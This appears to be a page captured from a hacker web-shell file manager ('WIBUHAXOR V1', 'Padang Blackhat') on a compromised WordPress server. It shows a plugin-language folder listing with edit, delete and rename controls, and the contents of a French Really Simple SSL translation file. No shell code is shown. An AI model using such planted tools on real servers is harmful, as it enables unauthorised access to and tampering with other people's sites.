-
WIBUHAX0R1337
-
/
home
/
cideo
/
www
/
wp-contentVIp
/
languages
/
plugins
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
upgrade
--
NONE
ajax-thumbnail-rebuild-en_GB.mo
2.18KB
Edit File
Delete File
Rename
ajax-thumbnail-rebuild-en_GB.po
3.067KB
Edit File
Delete File
Rename
classic-editor-en_GB-c1bbe2bfe9e42fa4cb2b2af27b321ad3.json
1.381KB
Edit File
Delete File
Rename
classic-editor-en_GB.l10n.php
2.109KB
Edit File
Delete File
Rename
classic-editor-en_GB.mo
2.646KB
Edit File
Delete File
Rename
classic-editor-en_GB.po
3.764KB
Edit File
Delete File
Rename
classic-editor-fr_FR-c1bbe2bfe9e42fa4cb2b2af27b321ad3.json
1.605KB
Edit File
Delete File
Rename
classic-editor-fr_FR.po
4.055KB
Edit File
Delete File
Rename
hello-dolly-en_GB.mo
1.202KB
Edit File
Delete File
Rename
hello-dolly-en_GB.po
1.527KB
Edit File
Delete File
Rename
hello-dolly-fr_FR.po
1.593KB
Edit File
Delete File
Rename
polylang-en_GB.mo
31.849KB
Edit File
Delete File
Rename
polylang-en_GB.po
47.512KB
Edit File
Delete File
Rename
really-simple-ssl-en_GB.mo
25.732KB
Edit File
Delete File
Rename
really-simple-ssl-en_GB.po
30.03KB
Edit File
Delete File
Rename
really-simple-ssl-fr_FR.po
32.694KB
Edit File
Delete File
Rename
# Translation of Plugins - Really Simple SSL - Stable (latest release) in French (France) # This file is distributed under the same license as the Plugins - Really Simple SSL - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2019-08-20 14:49:01+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n > 1;\n" "X-Generator: GlotPress/2.4.0-alpha\n" "Language: fr\n" "Project-Id-Version: Plugins - Really Simple SSL - Stable (latest release)\n" #: class-admin.php:2694 msgid "Your site uses Elementor. This can require some additional steps before getting the secure lock. %sSee our guide for detailed instructions%s " msgstr "Votre site utiise Elementor. Cela peut ,écessiter quelques étapes supplémentaires avant d’obtenir votre cadenas de sécurité. %sConsultez notre guide pour les instructions détaillées%s " #: class-admin.php:2606 msgid "The mixed content fixer could not be detected due to a cURL error: %s. cURL errors are often caused by an outdated version of PHP or cURL and don't affect the front-end of your site. Contact your hosting provider for a fix. %sMore information about this warning%s" msgstr "Le fixateur de contenu mixte n’a pas pu être détecté en raison d’une erreur cURL : %s. Les erreurs cURL sont souvent causées par une version obsolète de PHP ou cURL et n’affectent pas l’interface publique de votre site. Contactez votre fournisseur d’hébergement pour un correctif. %sPlus d’information à propos de cet avertissement%s" #: class-admin.php:2601 msgid "Error occured when retrieving the webpage." msgstr "Une erreur s’est produite lors de la récupération de la page web." #: class-site-health.php:55 msgid "The 301 .htaccess redirect is often the fastest and most reliable redirect option." msgstr "La redirection 301.htaccess est souvent l’option de redirection la plus rapide et la plus fiable." #: class-site-health.php:52 msgid "301 .htaccess redirect is not enabled." msgstr "La redirection 301 par .htaccess n’est pas activée." #: class-site-health.php:44 msgid "You have set a 301 redirect to SSL. This is important for SEO purposes" msgstr "Vous avez défini une redirection 301 vers SSL. Ceci est important pour le référencement" #: class-site-health.php:36 msgid "301 SSL redirect enabled" msgstr "Redirection 301 SSL activée" #: class-site-health.php:27 msgid "Really Simple SSL HSTS test" msgstr "Test Really Simple SSL HSTS" #: class-admin.php:3606 msgid "Enable this option to dismiss all +1 notices in the Configuration tab" msgstr "Activez cette option pour supprimer toutes les notifications +1 dans l’onglet « Configuration »." #: class-admin.php:3278 msgid "Dismiss all Really Simple SSL notices" msgstr "Ignorer toutes les notification Really Simple SSl" #: class-admin.php:2588 class-admin.php:2659 class-admin.php:2695 msgid "or" msgstr "ou" #: class-admin.php:2554 msgid "dismiss" msgstr "ignorer" #: class-admin.php:2553 msgid "Enable" msgstr "Activer" #: class-admin.php:3277 msgid "Use alternative method to fix mixed content" msgstr "Utiliser une méthode alternative pour corriger le contenu mixte" #: class-admin.php:3093 msgid "Create beautiful SEO friendly recipe cards for your recipes with Zip Recipes." msgstr "Créez de superbes cartes de recettes SEO pour vos recettes avec Zip Recipes." #: class-admin.php:2736 msgid "No mixed content scan performed (%spremium%s) " msgstr "Aucune analyse de contenu mixte n’a été effectuée (%spremium%s) " #: class-admin.php:2726 msgid "Secure cookie settings not enabled (%spremium%s) " msgstr "Réglages de cookies sécurisés non activés (%spremium%s) " #: class-admin.php:2712 msgid "%sHTTP Strict Transport Security%s is not enabled %s(premium)%s" msgstr "%sHTTP Strict Transport Security%s n’est pas activé %s(premium)%s" #: class-admin.php:2657 msgid "WordPress 301 redirect enabled. We recommend to enable the 301 .htaccess redirect option on your specific setup." msgstr "Redirection 301 WordPress activée. Nous recommandons d’activer l’option de redirection .htaccess sur votre configuration spécifique." #: class-admin.php:2636 msgid "301 redirect to https set: WordPress redirect." msgstr "Redirection vers https définie : redirection WordPress." #: class-admin.php:2651 msgid "301 redirect to https set: .htaccess redirect." msgstr "Redirection vers https définie : redirection .htaccess." #: class-admin.php:2083 msgid "No thanks and never ask me again" msgstr "Non merci et ne me demandez plus jamais" #: class-multisite.php:804 msgid "If the conversion does not proceed after a few minutes, click %shere%s to force the conversion process." msgstr "Si la conversion n’a pas lieu après quelques minutes, cliquez %sici%s pour forcer le processus de conversion." #: class-multisite.php:777 msgid "The 'force-deactivate.php' file has to be renamed to .txt. Otherwise your ssl can be deactivated by anyone on the internet." msgstr "Le fichier 'force-deactivate.php' doit être renommé en .txt. Sinon, votre SSL peut être désactivé par n’importe qui sur internet." #: class-admin.php:2156 msgid "See the %ssettings page%s for further SSL optimizations." msgstr "Voir la %spage des réglages%s pour d’autres optimisations SSL." #: class-admin.php:3083 msgid "The Complianz Privacy Suite (GDPR/CaCPA) for WordPress. Simple, Quick and Complete. Up-to-date customized legal documents by a prominent IT Law firm." msgstr "La suite de protection de la confidentialité (RGPD/CaCPA) pour WordPress. Simple, rapide et complet. Des documents juridiques à jour et personnalisés par un cabinet juridique renommé dans le domaine des technologies de l’information." #: class-admin.php:2587 msgid "Really Simple SSL has received no response from the webpage. See our knowledge base for %sinstructions on how to fix this warning%s" msgstr "Really Simple SSL n’a reçu aucune réponse de la part de la page web. Consultez notre base de connaissances pour les %sinstructions sur la façon de corriger cet avertissement%s" #: class-admin.php:436 msgid "Really Simple SSL failed to detect a valid SSL certificate. If you do have an SSL certificate, try to reload this page over https by clicking this button: %sReload over https%s The built-in certificate check will run once daily, to force a new certificate check visit the SSL settings page. " msgstr "Really Simple SSL n’a pas réussi à détecter un certificat SSL valide. Si vous avez un certificat SSL, essayez de recharger cette page en https en cliquant sur ce bouton : %sRecharger en https%s. Le contrôle de certificat intégré s’exécutera une fois par jour, pour forcer un nouveau contrôle de certificat, visitez la page des réglages SSL. " #: multisite-cron.php:11 msgid "Once every minute" msgstr "Une fois par minute" #: class-multisite.php:803 msgid "You have just started enabling or disabling SSL on multiple websites at once, and this process is not completed yet. Please refresh this page to check if the process has finished. It will proceed in the background." msgstr "Vous venez de commencer à activer ou désactiver SSL sur plusieurs sites web à la fois et ce processus n’est pas encore terminé. Veuillez rafraîchir cette page pour vérifier si le processus est terminé. Il se déroulera en arrière-plan." #: class-multisite.php:802 msgid "Conversion of websites %s percent complete." msgstr "Conversion des sites web %s en pourcentage terminé." #: class-admin.php:2082 msgid "Maybe later" msgstr "Peut-être plus tard" #: class-admin.php:2081 msgid "Leave a review" msgstr "Laisser une évaluation" #: class-admin.php:2077 msgid "Hi, you have been using Really Simple SSL for a month now, awesome! If you have a moment, please consider leaving a review on WordPress.org to spread the word. We greatly appreciate it! If you have any questions or feedback, leave us a %smessage%s." msgstr "Bonjour, vous utilisez Really Simple SSL depuis un mois maintenant, génial ! Si vous avez un moment, veuillez envisager de laisser une évaluation sur WordPress.org pour passer le mot. Nous vous en sommes très reconnaissants ! Si vous avez des questions ou des retours, laissez-nous un %smessage%s." #: class-admin.php:3625 msgid "Deactivate Plugin and keep SSL" msgstr "Désactiver l’extension et conserver le SSL" #. Author of the plugin msgid "Rogier Lankhorst, Mark Wolters" msgstr "Rogier Lankhorst, Mark Wolters" #: class-multisite.php:858 msgid "Activate SSL per site or install a wildcard certificate to fix this." msgstr "Activez SSL par site ou installez un certificat wildcard pour corriger ce problème." #: class-multisite.php:857 msgid "This leads to issues when activating SSL networkwide since subdomains will be forced over SSL as well while they don't have a valid certificate." msgstr "Cela entraîne des problèmes lors de l’activation du réseau SSL à l’échelle du réseau puisque les sous-domaines seront également forcés de passer sur SSL alors qu’ils n’ont pas de certificat valide." #: class-multisite.php:856 msgid "You run a Multisite installation with subdomains, but your site doesn't have a wildcard certificate." msgstr "Vous exécutez une installation multisite avec des sous-domaines, mais votre site n’a pas de certificat wildcard." #: class-admin.php:3707 msgid "(revert to http)" msgstr "(retour au http)" #: class-admin.php:3657 msgid "Clicking this button will deactivate the plugin while keeping your site on SSL. The WordPress 301 redirect, Javascript redirect and mixed content fixer will stop working. The site address will remain https:// and the .htaccess redirect will remain active. Deactivating the plugin via the plugins overview will revert the site back to http://." msgstr "Cliquer sur ce bouton désactivera l’extension tout en gardant votre site sur SSL. La redirection WordPress 301, la redirection Javascript et le fixateur de contenu mixte cesseront de fonctionner. L’adresse du site restera https:// et la redirection .htaccess restera active. Si vous désactivez l’extension via la vue d’ensemble des extensions, le site reviendra à http://." #: class-admin.php:3652 msgid "Cancel" msgstr "Annuler" #: class-admin.php:3649 msgid "I'm sure I want to deactivate" msgstr "Je suis sûr que je veux désactiver" #: class-admin.php:3635 msgid "Deactivating the plugin via the plugins overview will revert the site back to http://." msgstr "Si vous désactivez l’extension via la vue d’ensemble des extensions, le site reviendra à http://." #: class-admin.php:3634 msgid "* The .htaccess redirect will remain active" msgstr "* La redirection .htaccess restera active" #: class-admin.php:3633 msgid "* Your site address will remain https://" msgstr "* Votre adresse de site restera https://" #: class-admin.php:3632 msgid "* The WordPress 301 and Javascript redirect will stop working" msgstr "* Les redirections WordPress 301 et Javascript cesseront de fonctionner." #: class-admin.php:3631 msgid "* The mixed content fixer will stop working" msgstr "* Le fixateur de contenu mixte cessera de fonctionner" #: class-admin.php:3629 msgid "Deactivating the plugin while keeping SSL will do the following:" msgstr "Désactiver l’extension tout en conservant SSL fera ce qui suit :" #: class-admin.php:3628 msgid "Are you sure?" msgstr "Confirmez-vous ?" #: class-admin.php:3280 msgid "Deactivate plugin and keep SSL" msgstr "Désactiver l’extension et conserver le SSL" #: class-admin.php:3210 msgid "More info" msgstr "Plus d’infos" #: class-admin.php:3128 msgid "Export your WooCommerce sales directly to Moneybird." msgstr "Exportez vos ventes WooCommerce directement vers Moneybird." #: class-admin.php:3117 msgid "Export your Easy Digital Downloads sales directly to Moneybird." msgstr "Exportez vos ventes Easy Digital Downloads directement vers Moneybird." #: class-admin.php:3106 msgid "UM Tagging allows you to @tag or @mention all users on your platform." msgstr "UM Tagging vous permet d’@étiqueter ou @mentionner tous les utilisateurs de votre plate-forme." #: class-admin.php:3075 msgid "Really Simple SSL pro optimizes your SSL configuration: extensive scan for mixed content issues, access to premium support, HSTS and more!" msgstr "Really Simple SSL pro optimise votre configuration SSL : analyse approfondie des problèmes de contenu mixte, accès au support premium, HSTS et plus !" #: class-admin.php:3058 msgid "We have some suggestions for your setup. Let us know if you have a suggestion for %sus%s!" msgstr "Nous avons quelques suggestions pour votre installation. Faites-nous savoir si vous avez une suggestion pour %snous%s !" #: class-admin.php:442 msgid "Really Simple SSL requires a valid SSL certificate. You can check your certificate on %sQualys SSL Labs%s." msgstr "Really Simple SSL nécessite un certificat SSL valide. Vous pouvez vérifier votre certificat sur %sQualys SSL Labs%s." #: class-admin.php:429 msgid "Detected possible certificate issues" msgstr "Détecté d’éventuels problèmes de certificat" #: class-admin.php:81 msgid "Really Simple SSL and Really Simple SSL add-ons do not process any personal identifiable information, so the GDPR does not apply to these plugins or usage of these plugins on your website. You can find our privacy policy <a href=\"%s\" target=\"_blank\">here</a>." msgstr "Really Simple SSL et les modules Really Simple SSL ne traitent aucune information personnelle identifiable, de sorte que le GDPR ne s’applique pas à ces extensions ou à l’utilisation de ces extensions sur votre site web. Vous pouvez trouver notre politique de confidentialité <a href=\"%s\" target=\"_blank\">ici </a>." #: class-admin.php:468 msgid "It is recommended to take a %sbackup%s of your site before activating SSL" msgstr "Il est recommandé de faire une %ssauvegarde%s de votre site avant d’activer SSL" #. Author URI of the plugin msgid "https://really-simple-plugins.com" msgstr "https://really-simple-plugins.com" #: class-admin.php:2722 msgid "Secure cookies set" msgstr "Jeu de cookies sécurisé" #: class-multisite.php:828 class-admin.php:2150 msgid "Don't forget to change your settings in Google Analytics and Webmaster tools." msgstr "N'oubliez pas de modifier vos réglages dans Google Analytics et Webmaster tools." #: class-admin.php:3584 msgid "If this option is set to true, the mixed content fixer will fire on the init hook instead of the template_redirect hook. Only use this option when you experience problems with the mixed content fixer." msgstr "Si cette option est définie à oui, le fixateur de contenu mixte tirera sur le crochet d’inactivité au lieu du crochet template_redirect. Utilisez uniquement cette option lorsque vous rencontrez des problèmes avec le fixateur de contenu mixte." #: class-admin.php:3523 msgid "The plugin could not detect any possible redirect rule." msgstr "L’extension ne peut détecter aucune règle de redirection possible." #: class-admin.php:3507 msgid "The .htaccess redirect rules that were selected by this plugin failed in the test. The following redirect rules were tested:" msgstr "Les règles de redirection .htaccess qui ont été sélectionées par cette extension ont échoué le test. Les règles de redirection suivantes ont été testées :" #: class-admin.php:510 msgid "You can also let the automatic scan of the pro version handle this for you, and get premium support, increased security with HSTS and more!" msgstr "Vous pouvez également laisser l’analyse automatique de la version pro gérer cela pour vous et obtenir un support premium, une sécurité accrue avec HSTS et plus encore !" #: class-multisite.php:1013 msgid "If you want more options to have full control over your multisite network, you can %supgrade%s your license to a multisite license, or dismiss this message" msgstr "Si vous souhaitez plus d’options pour avoir le plein contrôle sur votre réseau multisite, vous pouvez %smettre à niveau%s votre licence à une licence multisite ou ignorez ce message." #: class-multisite.php:1004 msgid "You are running Really Simple SSL pro. A dedicated add-on for multisite has been released. If you want more options to have full control over your multisite network, you can ask for a discount code to %supgrade%s your license to a multisite license." msgstr "Vous utilisez Really Simple SSL pro. Un module dédié au multisite est sorti. Si vous souhaitez plus d’options pour avoir un contrôle total sur votre réseau multisite, vous pouvez demander un code réduction pour %smettre à niveau%s votre license vers une licence multisite." #: class-multisite.php:825 msgid "SSL was activated per site." msgstr "Le SSL a été activé par site." #: class-multisite.php:823 msgid "SSL was activated on your entire network." msgstr "Le SSL a été activé pour la totalité de votre réseau." #: class-multisite.php:230 msgid "Really Simple SSL multisite options" msgstr "Options multisite de Really Simple SSL" #: class-multisite.php:227 msgid "Options saved." msgstr "Options enregistrées." #: class-multisite.php:203 msgid "Select to enable SSL networkwide or per site." msgstr "Sélectionnez pour activer le SSL sur tout le réseau ou par site." #: class-multisite.php:198 msgid "per site" msgstr "par site" #: class-multisite.php:197 msgid "networkwide" msgstr "sur tout le réseau" #: class-multisite.php:195 msgid "No selection was made" msgstr "Aucune sélection n’a été faite" #: class-multisite.php:187 msgid "Below you can set the multisite options for Really Simple SSL" msgstr "Vous pouvez régler ci-dessous les options mulitsite pour Really Simple SSL" #: class-multisite.php:176 msgid "Enable SSL" msgstr "Activer SSL" #: class-admin.php:3530 msgid "If the setting 'do not edit htaccess' is enabled, you can't change this setting." msgstr "Si le réglage « Ne pas modifier le htaccess » est activée, vous ne pouvez pas modifier ce réglage." #: class-admin.php:3419 class-admin.php:3451 class-admin.php:3489 #: class-admin.php:3677 msgid "This option is enabled on the network menu." msgstr "Cette option est activée sur le menu du réseau." #: class-admin.php:491 msgid "You may need to login in again." msgstr "Vous devrez peut-être vous connecter à nouveau." #: class-admin.php:3535 msgid "Before you enable this, make sure you know how to %1$sregain access%2$s to your site in case of a redirect loop." msgstr "Avant d'activer cette option, assurez-vous de savoir comment %1$srecouvrer l’accès%2$s à votre site dans le cas d’une boucle de redirection." #: class-admin.php:3506 msgid "The .htaccess file is not writable. Add these lines to your .htaccess manually, or set 644 writing permissions" msgstr "Le fichier .htaccess n’est pas inscriptible. Ajoutez manuellement ces quelques lignes à votre .htaccess, ou réglez les droits d’écriture à 644." #: class-admin.php:3501 msgid "A .htaccess redirect is faster. Really Simple SSL detects the redirect code that is most likely to work (99% of websites), but this is not 100%. Make sure you know how to regain access to your site if anything goes wrong!" msgstr "Une redirection .htaccess est plus rapide. Really Simple SSL détecte le code de redirection qui est le plus susceptible de fonctionner (99% des sites), mais pas à 100%. Assurez-vous de savoir comment retrouver l’accès à votre site si quelque chose se passe mal !" #: class-site-health.php:60 class-admin.php:3265 msgid "Enable 301 .htaccess redirect" msgstr "Activer la redirection .htaccess 301" #: class-admin.php:2640 class-admin.php:2682 msgid "No 301 redirect is set. Enable the WordPress 301 redirect in the settings to get a 301 permanent redirect." msgstr "Aucune redirection n’est paramétrée. Activez la redirection 301 dans les réglages pour obtenir une redirection 301 permanente." #: class-admin.php:2677 msgid "Https redirect cannot be set in the .htaccess file. Set the .htaccess redirect manually or enable the WordPress 301 redirect in the settings." msgstr "La redirection https ne peut être paramétrée dans le fichier .htaccess. Paramétrez manuellement la redirection .htaccess ou activez la redirection WordPress dans les réglages." #: class-admin.php:2667 msgid "Enable a .htaccess redirect or WordPress redirect in the settings to create a 301 redirect." msgstr "Activez une redirection .htaccess ou une redirection WordPress dans les réglages pour créer une redirection 301." #: class-admin.php:2116 msgid "You do not have a 301 redirect to https active in the settings. For SEO purposes it is advised to use 301 redirects. You can enable a 301 redirect in the settings." msgstr "Vous n’avez aucune redirection 301 vers https active dans les réglages. Pour des fins de SEO il est conseillé d’utiliser des redirections 301. Vous pouvez activer une redirection 301 dans les réglages." #: class-admin.php:3687 msgid "In most cases you need to leave this enabled, to prevent mixed content issues on your site." msgstr "Dans la plupart des cas, vous devez le laisser activé pour éviter les problèmes de contenu mixte sur votre site." #: class-admin.php:3562 msgid "If you want to customize the Really Simple SSL .htaccess, you need to prevent Really Simple SSL from rewriting it. Enabling this option will do that." msgstr "Si vous voulez personnaliser le .htaccess de SSL Really Simple, vous devez empêcher Really Simple SSL de le réécrire. L’activation de cette option le fera." #: class-admin.php:3461 msgid "Enable this if you want to use the internal WordPress 301 redirect. Needed on NGINX servers, or if the .htaccess redirect cannot be used." msgstr "Activez cette option si vous souhaitez utiliser la redirection interne WordPress 301. Nécessaire sur les serveurs NGINX, ou si la redirection .htaccess ne peut pas être utilisée." #: class-admin.php:3429 msgid "This is a fallback you should only use if other redirection methods do not work." msgstr "C’est une alternative que vous ne devez utiliser que si d’autres méthodes de redirection ne fonctionnent pas." #: class-admin.php:3398 msgid "Enable this option to get debug info in the debug tab." msgstr "Activez cette option pour obtenir des informations de débogage dans l’onglet débogage." #: class-admin.php:3261 msgid "Enable WordPress 301 redirection to SSL" msgstr "Activer la redirection 301 WordPress vers SSL" #: class-admin.php:2708 msgid "HTTP Strict Transport Security was enabled." msgstr "Le HTTP Strict Transport Security a été activé." #: class-admin.php:2672 msgid ".htaccess is not writable. Set 301 WordPress redirect, or set the .htaccess manually if you want to redirect in .htaccess." msgstr ".htaccess n’est pas inscriptible. Définissez la redirection 301 WordPress ou définissez le .htaccess manuellement si vous souhaitez rediriger dans .htaccess." #: class-multisite.php:831 class-admin.php:2153 msgid "More info." msgstr "Plus d’informations." #: class-multisite.php:327 msgid "reload over https." msgstr "recharger en https." #: class-multisite.php:325 msgid "No SSL was detected. If you do have an SSL certificate, try to reload this page over https by clicking this link:" msgstr "Aucun SSL n’a été détecté. Si vous avez un certificat SSL, essayez de recharger cette page en https en cliquant sur ce lien :" #: class-admin.php:3296 msgid "Settings to optimize your SSL configuration" msgstr "Réglages pour optimiser votre configuration SSL" #: class-multisite.php:328 msgid "You can check your certificate on" msgstr "Vous pouvez vérifier votre certificat sur" #: class-admin.php:2117 msgid "View settings page" msgstr "Voir la page des réglages" #: class-multisite.php:376 msgid "You can also let the automatic scan of the pro version handle this for you, and get premium support and increased security with HSTS included." msgstr "Vous pouvez également laisser l'analyse automatique de la version pro gérer cela pour vous, et obtenir un support de première qualité et une sécurité accrue avec HSTS inclus." #: class-admin.php:3723 msgid "Premium Support" msgstr "Support premium" #: class-admin.php:3713 msgid "Docs" msgstr "Docs" #: class-multisite.php:378 class-admin.php:512 msgid "Check out Really Simple SSL Premium" msgstr "Acheter Really Simple SSL Premium" #: class-admin.php:489 msgid "Go ahead, activate SSL!" msgstr "Allez-y, activez SSL !" #: class-admin.php:2596 msgid "The mixed content fixer is active, but was not detected on the frontpage. Please follow %sthese steps%s to check if the mixed content fixer is working." msgstr "Le correcteur de contenu mixte est actif, mais n’a pas été détecté sur la page d’accueil. Veuillez suivre %sces étapes%s pour vérifier si le correcteur de contenu mixte fonctionne." #: class-admin.php:2572 msgid "SSL is not enabled yet" msgstr "Le SSL n’est pas encore activé" #: class-admin.php:2568 msgid "SSL is enabled on your site." msgstr "Le SSL est activé sur votre site." #: class-multisite.php:820 class-admin.php:2149 msgid "SSL activated!" msgstr "SSL activé !" #: class-admin.php:2016 msgid "Because your server does not pass a variable with which WordPress can detect SSL, WordPress may create redirect loops on SSL." msgstr "Étant donné que votre serveur ne transmet pas de variable avec laquelle WordPress peut détecter SSL, WordPress peut créer des boucles de redirection sur SSL." #: class-admin.php:2010 msgid "Or set your wp-config.php to writable and reload this page." msgstr "Ou réglez votre wp-config.php comme inscriptible et rechargez cette page." #: class-admin.php:1993 msgid "Because your site is behind a loadbalancer and is_ssl() returns false, you should add the following line of code to your wp-config.php." msgstr "Parce que votre site est derrière un équilibreur de charge et is_ssl () renvoie false, vous devez ajouter la ligne de code suivante à votre wp-config.php." #: class-admin.php:1992 msgid "Your wp-config.php has to be edited, but is not writable." msgstr "Votre wp-config.php doit être modifié, mais n’est pas inscriptible." #: class-admin.php:1989 class-admin.php:2017 msgid "Set your wp-config.php to writable and reload this page." msgstr "Réglez votre wp-config.php comme inscriptible et rechargez cette page." #: class-admin.php:1987 msgid "A definition of a siteurl or homeurl was detected in your wp-config.php, but the file is not writable." msgstr "Une définition d'un siteurl ou d'un homeurl a été détectée dans votre wp-config.php, mais le fichier n'est pas inscriptible." #: class-admin.php:1983 msgid "System detection encountered issues" msgstr "La détection du système a rencontré des problèmes" #: class-multisite.php:344 class-admin.php:461 msgid "Images, stylesheets or scripts from a domain without an SSL certificate: remove them or move to your own server." msgstr "Images, feuilles de style ou scripts d‘un domaine sans certificat SSL : retirez-les ou déplacez-vous vers votre propre serveur." #: class-multisite.php:343 class-admin.php:460 msgid "Http references in your .css and .js files: change any http:// into //" msgstr "Références HTTP dans vos fichiers .css et .js : modifiez n’importe quel http:// en //" #: class-multisite.php:340 class-admin.php:457 msgid "Some things can't be done automatically. Before you migrate, please check for: " msgstr "Certaines choses ne peuvent pas être faites automatiquement. Avant de migrer, vérifiez :" #: class-admin.php:452 msgid "Almost ready to migrate to SSL!" msgstr "Presque prêt à migrer vers SSL !" #: class-multisite.php:360 msgid "Networkwide activation does not check if a site has an SSL certificate. It just migrates all sites to SSL." msgstr "L’activation réseau ne vérifie pas si un site possède un certificat SSL. Il suffit de migrer tous les sites vers SSL." #: class-multisite.php:355 msgid "Activate SSL per site" msgstr "Activer le SSL par site" #: class-multisite.php:352 msgid "Activate SSL networkwide" msgstr "Activer SSL sur tout le réseau" #: class-multisite.php:339 msgid "Choose your preferred setup" msgstr "Choisissez votre configuration préférée" #: class-server.php:10 class-cache.php:10 class-mixed-content-fixer.php:13 #: class-multisite.php:32 class-site-health.php:12 class-certificate.php:14 #: class-admin.php:53 class-front-end.php:19 class-help.php:9 msgid "%s is a singleton class and you cannot create a second instance." msgstr "%s est une classe unique et vous ne pouvez pas créer une seconde instance." #: class-admin.php:3563 msgid ".htaccess is currently not writable." msgstr ".htaccess est actuellement non inscriptible." #: class-admin.php:2583 msgid "Mixed content fixer was successfully detected on the front-end" msgstr "Le correcteur de contenu mixte a bien été détecté sur l’interface visiteur" #: class-admin.php:2504 msgid "On <a href='https://really-simple-ssl.com'>really-simple-ssl.com</a> you can find a lot of articles and documentation about installing this plugin, and installing SSL in general." msgstr "Sur <a href='https://really-simple-ssl.com'>really-simple-ssl.com</a> vous pouvez trouvez de nombreux articles et de la documentation sur l’installation de cette extension, et l’installation du SSL en général." #: class-admin.php:2503 msgid "Documentation" msgstr "de la documentation" #: class-admin.php:3268 msgid "Enable Javascript redirection to SSL" msgstr "Activer la redirection JavaScript vers SSL" #: class-admin.php:2617 msgid "Failed activating SSL." msgstr "Échec de l’activation du SSL." #. Description of the plugin msgid "Lightweight plugin without any setup to make your site SSL proof" msgstr "Extension légère sans aucune configuration pour rendre votre site compatible SSL" #. Plugin URI of the plugin msgid "https://www.really-simple-ssl.com" msgstr "https://www.really-simple-ssl.com" #. Plugin Name of the plugin msgid "Really Simple SSL" msgstr "Really Simple SSL" #: class-admin.php:3274 msgid "Stop editing the .htaccess file" msgstr "Arrêter la modification du fichier .htaccess" #: class-admin.php:3017 msgid "To view results here, enable the debug option in the settings tab." msgstr "Pour voir les résultats ici, activez l’option de débogage dans l’onglet réglages." #: class-admin.php:2962 msgid "Send us a copy of these lines if you have any issues. The log will be erased when debug is set to false" msgstr "Envoyez-nous une copie de ces lignes si vous avez des problèmes. Le journal sera effacé lorsque le débogage est défini sur false" #: class-admin.php:2961 msgid "Log for debugging purposes" msgstr "Journal à des fins de débogage" #: class-admin.php:2948 msgid "Save" msgstr "Enregistrer" #: class-admin.php:2625 msgid "An SSL certificate was detected on your site." msgstr "Un certificat SSL a été détecté sur votre site." #: class-admin.php:2621 msgid "No SSL detected" msgstr "Aucun SSL détecté" #: class-admin.php:2522 class-admin.php:3271 msgid "Debug" msgstr "Débogage" #: class-multisite.php:174 class-multisite.php:1039 class-admin.php:2457 #: class-admin.php:2521 class-admin.php:3256 class-admin.php:3710 msgid "Settings" msgstr "Réglages" #: class-admin.php:2520 msgid "Configuration" msgstr "Configuration" #: class-admin.php:3257 msgid "Mixed content fixer" msgstr "Fixateur de contenu mixte" #: class-admin.php:2911 msgid "Detected setup" msgstr "Configuration détectée" #: class-site-health.php:39 class-admin.php:2424 msgid "SSL" msgstr "SSL" #: class-admin.php:2423 msgid "SSL settings" msgstr "Réglages SSL" #: class-admin.php:2171 msgid "The force http after leaving checkout in WooCommerce will create a redirect loop." msgstr "Forcer HTTP après avoir quitté le paiement dans WooCommerce va créer une boucle de redirection." #: class-admin.php:2173 msgid "Show me this setting" msgstr "Affichez-moi ce réglage" #: class-admin.php:2169 msgid "Really Simple SSL has a conflict with another plugin." msgstr "Really Simple SSL est en conflit avec une autre extension." #: class-multisite.php:845 msgid "Activate networkwide to fix this." msgstr "Activez sur l'ensemble du réseau pour résoudre ce problème." #: class-multisite.php:844 msgid "Because the $_SERVER[\"HTTPS\"] variable is not set, your website may experience redirect loops." msgstr "Parce que la variable $_SERVER[\"HTTPS\"] n’est pas définie, votre site web peut rencontrer des boucles de redirection." #: class-multisite.php:843 msgid "You run a Multisite installation with subfolders, which prevents this plugin from fixing your missing server variable in the wp-config.php." msgstr "Vous exécutez une installation multisite avec des sous-dossiers, ce qui empêche cette extension de corriger votre variable serveur manquante dans le fichier wp-config.php." #: class-multisite.php:779 class-admin.php:2132 msgid "Check again" msgstr "Vérifier à nouveau" #: class-admin.php:2130 msgid "The 'force-deactivate.php' file has to be renamed to .txt. Otherwise your ssl can be deactived by anyone on the internet." msgstr "Le fichier 'force-deactivate.php' a été renommé en .txt. sinon votre SSL peut être désactivé par n’importe qui sur internet." #: class-multisite.php:774 class-admin.php:2127 msgid "Major security issue!" msgstr "Problème majeur de sécurité !"
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat